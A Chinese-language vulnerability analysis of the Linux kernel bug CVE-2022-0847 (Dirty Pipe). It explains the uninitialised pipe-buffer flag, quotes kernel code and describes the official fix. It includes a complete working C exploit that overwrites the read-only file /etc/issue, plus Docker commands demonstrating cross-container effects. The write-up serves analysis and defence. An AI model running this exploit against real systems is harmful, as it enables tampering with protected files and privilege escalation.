漏洞分析
CVE-2022-0847,又名Dirty Pipe,是一个Linux内核漏洞,利用这个漏洞可以覆写文件内容,包括只读的文件。
在zero-copy的过程中(例如splice()系统调用),文件的数据会被写到内存的page cache中(之后对文件的读取也都会直接读取page cache的内容,以减少磁盘IO),而pipe的buffer也会指向这个page cache[1.1]。
static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes, struct iov_iter *i) { struct pipe_inode_info *pipe = i->pipe; struct pipe_buffer *buf; ...... buf = &pipe->bufs[i_head & p_mask]; ...... buf->page = page; ......
splice()的调用链如下图:
在这个过程中,pipe buffer的flags成员是没有被初始化的。然而,根据pipe的写入过程,可以看到,当flags为PIPE_BUF_CAN_MERGE时,可以向page cache中写入数据,而要设置这个flags,只需要对pipe进行一次写入[1.2]:
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) && offset + chars <= PAGE_SIZE) { ret = pipe_buf_confirm(pipe, buf); if (ret) goto out; ret = copy_page_from_iter(buf->page, offset, chars, from);
buf = &pipe->bufs[head & mask]; buf->page = page; buf->ops = &anon_pipe_buf_ops; buf->offset = 0; buf->len = 0; if (is_packetized(filp)) buf->flags = PIPE_BUF_FLAG_PACKET; else buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
而对pipe buffer的page cache进行写入,就意味着对splice()中对应的文件的page cache进行了写入,此时,当再次读取文件,内容就会发生变化。当然,这种变化并不是永久的,因为这样的写入并不会对文件在磁盘中的内容产生影响,一旦文件的page cache失效(例如系统重启或者某些内存清理机制),文件的内容就会恢复原样。利用这个漏洞,攻击者可以修改容器镜像里的文件内容,并影响其他使用该镜像的容器。
漏洞复现
系统:Ubuntu 20.04
内核:5.8.0-63
如下为exp的代码,大致步骤为填充管道、清空管道、零拷贝、向管道写入数据,其中目标文件为/etc/issue,覆写起始位置为1,内容为“ABCD”:
#include <unistd.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/stat.h> #include <sys/user.h> #ifndef PAGE_SIZE #define PAGE_SIZE 4096 #endif int main() { const char *const path = "/etc/issue"; loff_t offset = 1; const char *const data = "ABCD"; const size_t data_size = strlen(data); const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1; const loff_t end_offset = offset + (loff_t)data_size; const int fd = open(path, O_RDONLY); int p[2]; pipe(p); const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); static char buffer[4096]; for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; write(p[1], buffer, n); r -= n; } for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; read(p[0], buffer, n); r -= n; } --offset; splice(fd, &offset, p[1], NULL, 1, 0); write(p[1], data, data_size); return 0; }
基于同一个镜像,分别创建两个Docker容器container-a和container-b,把编译好的exp复制到container-a中:
sudo docker run --name container-a -itd ubuntu sudo docker run --name container-b -itd ubuntu gcc exp.c -o exp sudo docker cp exp container-a:/exp
分别进入两个容器,获取目标文件/etc/issue的内容:
在container-a中运行exp,再次查看/etc/issue,可以看到文件的内容发生了变化:
并且在container-b中也能看到同样的变化。
官方修复
官方的修复方案很简单,在设置pipe buffer时,将它的flags设为0,这样就可以避免它被设为PIPE_BUF_FLAG_CAN_MERGE,从而避免对page cache的写入[3.1]。
buf = &pipe->bufs[i_head & p_mask]; ...... buf->flags = 0;
参考
[1.1] https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/tree/lib/iov_iter.c?h=v5.17-rc5#n382
[1.2] https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/tree/fs/pipe.c?h=v5.17-rc5
[2.1] https://dirtypipe.cm4all.com/
[3.1] https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/lib/iov_iter.c?id=9d2231c5d74e13b2a0546fee6737ee4446017903